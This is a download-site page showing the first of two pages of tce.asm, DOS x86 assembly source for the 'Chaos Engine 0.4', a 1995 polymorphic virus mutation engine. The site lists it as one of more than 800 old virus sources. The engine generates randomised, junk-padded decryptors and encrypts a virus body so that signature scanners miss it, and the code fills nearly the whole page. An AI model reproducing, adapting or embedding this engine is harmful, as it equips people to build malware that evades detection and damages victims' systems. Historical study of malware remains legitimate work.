⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tce.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
        radix   16

;*****************************************
;* T.H.E - C.H.A.O.S - E.N.G.I.N.E - 0.4 *
;*****************************************
;1995 - Sepultura - Australia
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;on CALLing of TCE -
;;;AX = TCE Flags:1 - Pad To DECRYPTOR_LENGTH.
;;;               2 - Make Short Decryptor (No Junk).
;;;               4 - Add Segment Overide.
;;;
;;;CX = Length of Code to Encrypt.
;;;DX = Delta Offset.
;;;DS:SI = Code to encrypt (DS _MUST_ = CS).
;;;ES:DI = Location of Buffer to Create Decryptor in.
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;ON RETURN:
;;;ES = DS = Segment of Decryptor / Encrypted Code
;;;DX = Pointer to Start of Code
;;;CX = Length of Code
;;;;;;;;;;;;;;;;;;;
;;;Flag EQUates

MAKE_SMALL      equ     1
PAD_TO_MAX      equ     2
ADD_SEG         equ     4

;;;;;;;;;;;;;;;;;;;
;;;W.H.A.T.E.V.E.R

DECRYPTOR_LENGTH        equ     190h
MAX_PADDING             equ     90h - 1f
length_1                equ     (offset int_tbl - offset one_byters)-1

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;REGISTER TABLE - INTEL STANDLE FORMAT

tce_AX                   equ    0000xB
tce_CX                   equ    0001xB
tce_DX                   equ    0010xB
tce_BX                   equ    0011xB
tce_SP                   equ    0100xB
tce_BP                   equ    0101xB
tce_SI                   equ    0110xB
tce_DI                   equ    0111xB

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;THe BeLoW InSTuCTiOn CaN KilL A MaN

db      '[TCE-0.4]',0

;*****************************************************
;*****************************************************
;*** The REAL _REAL_ START of THE CHAOS ENGINE 0.4 ***
;*****************************************************
;*****************************************************

tce:    push    ax,bx,bp
        push    di,si

        cld

        mov     tce_begin,di
        mov     tce_delta,dx
        mov     c_length,cx
        mov     tce_flags,ax
        call    clear_regs
        mov     B index_sub,0

        mov     B[offset more_junk],0b0
        test    W tce_flags,MAKE_SMALL
        if nz   mov B[offset more_junk],0c3

        push    si
        call    get_rand_1f
        add     ax,MAX_PADDING
        xchg    cx,ax
        call    more_junk

swap0:  mov     si,offset init_1
        lodsw
        call    binary
        jz      no_swap1
        xchg    ax,[si]
        mov     [si-2],ax

no_swap1:
        push    ax
        lodsw
        call    binary
        jnz     no_swap2
        xchg    ax,[si]
        mov     [si-2],ax

no_swap2:
        push    ax
        lodsw
        lodsw
        call    binary
        jz      build_code
        xchg    ax,[si]
        mov     [si-2],ax

build_code:
        pop     ax
        call    ax
        call    pad_10
        pop     ax
        call    ax
        call    pad_10
        call    W init_3
        call    pad_10
        call    gen_decrypt
        call    pad_8
        call    W init_4
        call    pad_8
        call    W init_5
        call    pad_10
        call    gen_loop
        call    pad_8

        test    W tce_flags,PAD_TO_MAX
        jz      no_padding

        mov     B[offset more_junk],0b0
        mov     cx,DECRYPTOR_LENGTH
        add     cx,tce_begin
        sub     cx,di
        call    more_junk

no_padding:
        mov     ax,di
        sub     ax,DECRYPTOR_LENGTH
        add     enc_index,ax
        mov     bx,W index_loc
        cmp     B index_sub,1
        if e    neg ax
        add     es:[bx],ax

        pop     si
        mov     cx,c_length
        rep     movsb
        mov     dx,tce_begin
        mov     ds,es
        call    encryptor
        mov     cx,di
        sub     cx,dx

        pop     si,di
        pop     bp,bx,ax
        ret

init_count:                     ;Initialises Count Register..
        call    get_unused_reg  ;Make Count Initialiser in Encryptor and
        cmp     al,tce_DX
        je      init_count
        mov     count_reg,al    ;Decryptor
        mov     bx,W c_length
        shr     bx,1
        mov     W enc_length,bx
        call    gen_mov_reg
        ret

init_index:                     ;Initialises Index Register..
        mov     ax,0ff          ;Makes Index Initialiser in Encryptor and
        call    get_rand        ;Decryptor..
        push    ax
        call    get_rand_7
        pop     ax
        if z    xor ax,ax
        mov     B index_off,al
        mov     bx,DECRYPTOR_LENGTH
        add     bx, tce_begin
        mov     W enc_index,bx
        add     bx, tce_delta
        cbw
        sub     bx,ax

get_index:
        call    get_unused_reg
        cmp     al,tce_BX
        jb      get_index
        mov     W index_num,ax
        mov     B index_reg,al
        mov     B index_set,1
        call    gen_mov_reg
        mov     B index_set,0
        ret

gen_decrypt:                    ;generates DECRYPTOR / ENCRYPTOR instruction
        mov     W loop_start,di
        call    pad_8
        mov     bl,B key_reg
        sal     bl,3
        call    get_rand_2
        add     ax,ax
        add     ax,offset enc_table
        xchg    si,ax
        lodsw
        call    binary
        if z    xchg ah,al
        push    ax
        cmp     si,offset enc_table + 2
        jne     no_carry_set
        mov     al,0f8
        call    binary
        if z    inc ax
        mov     B enc_cf,al
        stosb

no_carry_set:
        test    W tce_flags,ADD_SEG
        jz      no_seg_set
        mov     al,2e
        stosb

no_seg_set:
        pop     ax
        stosb
        mov     B enc_loop,ah
        mov     si,W index_num

        cmp     B index_reg,tce_BP
        je      encryptor_has_offset
        cmp     B index_off,0
        jne     encryptor_has_offset
        push    ax
        call    get_rand_7
        pop     ax
        jz      encryptor_has_offset
        add     si,index_tab_c
        lodsb
        or      al,bl
        stosb
        ret

encryptor_has_offset:
        add     si,index_tab_b
        lodsb
        or      al,bl
        mov     ah,B index_off
        or      al,bl
        stosw
        xchg    al,ah
        cbw
        call binary
        jnz     ret
        mov     al,ah
        stosb
        add     es:B[di-3],40
        ret

modify_key:                     ;Modify Key: XOR/ADD/SUB key_reg,xxxx
        call    get_rand_7
        jz      no_mod_key
        call    get_rand_2
        add     ax,offset modify_table
        xchg    si,ax
        lodsb
        mov     ah,al
        mov     al,81
        mov     W enc_mod_op,ax
        or      ah,B key_reg
        stosw
        call    get_any_rand
        stosw

no_mod_key:
        mov     W enc_mod_val,ax

        ret

inc_index:                      ;increase index by 2..
        call    binary          ;1 in 2 chance of ADD reg,2/SUB reg,-2
        jz      add_sub_index

        mov     al,B index_reg
        or      al,40
        stosb
        call    pad_8
        stosb
        ret

add_sub_index:
        mov     al,83
        stosb
        mov     ah,2
        mov     al,B index_reg
        or      al,0c0

        call    binary
        jnz     put_add_sub_index

        neg     ah
        or      al,0e8

put_add_sub_index:
        stosw
        ret

gen_loop:
        mov     al,B count_reg
        cmp     al,tce_CX
        jne     not_CX

        push    ax
        call    get_rand_7
        pop     ax
        jz      not_CX

        lea     bx,[di+2]
        mov     ax,W loop_start
        sub     ax,bx
        mov     ah,0e2
        call    binary
        jnz     no_loop_nz
        xchg    bp,ax
        jmp     short do_loop_nz

no_loop_nz:
        xchg    ah,al
        stosw
        ret

not_CX: xchg    bx,ax

        call    binary
        jz      count_add_sub

        mov     al,48
        or      al,bl
        stosb
        jmp     short zero_test


count_add_sub:
        mov     al,83
        stosb
        mov     ah,-1
        mov     al,bl
        or      al,0c0

        call    binary
        jnz     put_add_sub_count

        neg     ah
        or      al,0e8

put_add_sub_count:
        stosw
        xor     bp,bp
        push    ax
        call    get_rand_7
        pop     ax
        jz      nloop_nz

zero_test:
        call    pad_10
        xor     bp,bp
do_loop_nz:
        mov     al,B count_reg
        mov     bl,al
        sal     al,3
        or      al,bl
        xchg    ah,al
        mov     bh,ah
        call    get_rand_2
        add     ax,offset zero_test_a
        xchg    si,ax
        lodsb
        mov     ah,bh
        or      ah,0c0
        stosw

nloop_nz:
        lea     bx,[di+2]
        mov     ax,W loop_start
        sub     ax,bx
        or      bp,bp
        jnz     loop_nz
        mov     ah,075
        call    binary
        jnz     nnnn
        mov     B es:[di],0f8
        inc     di
        sub     ax,0fe01
        db      0a9

loop_nz:mov     ah,0e0


nnnn:   xchg    ah,al
        stosw
        ret

init_key:
        call    get_any_rand
        mov     W enc_key,ax
        xchg    bx,ax
        call    get_unused_reg
        mov     B key_reg,al

gen_mov_reg:
        call    binary
        jz      lea_mov

        or      al,0b8
        stosb
        xchg    ax,bx
        jmp     short put_mov_b

lea_mov:call    binary
        jz      zero_then_add

        sal     al,3
        or      al,06
        mov     ah,8d
        xchg    ah,al
        stosw
        xchg    ax,bx
        jmp     short put_mov_b

zero_then_add:          ;Zero Register (XOR/SUB reg,reg)
        push    bx      ;Then OR/XOR/ADD Value
        push    ax      ;or SUB -Value
        mov     ah,0c0
        or      ah,al
        sal     al,3
        or      ah,al

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -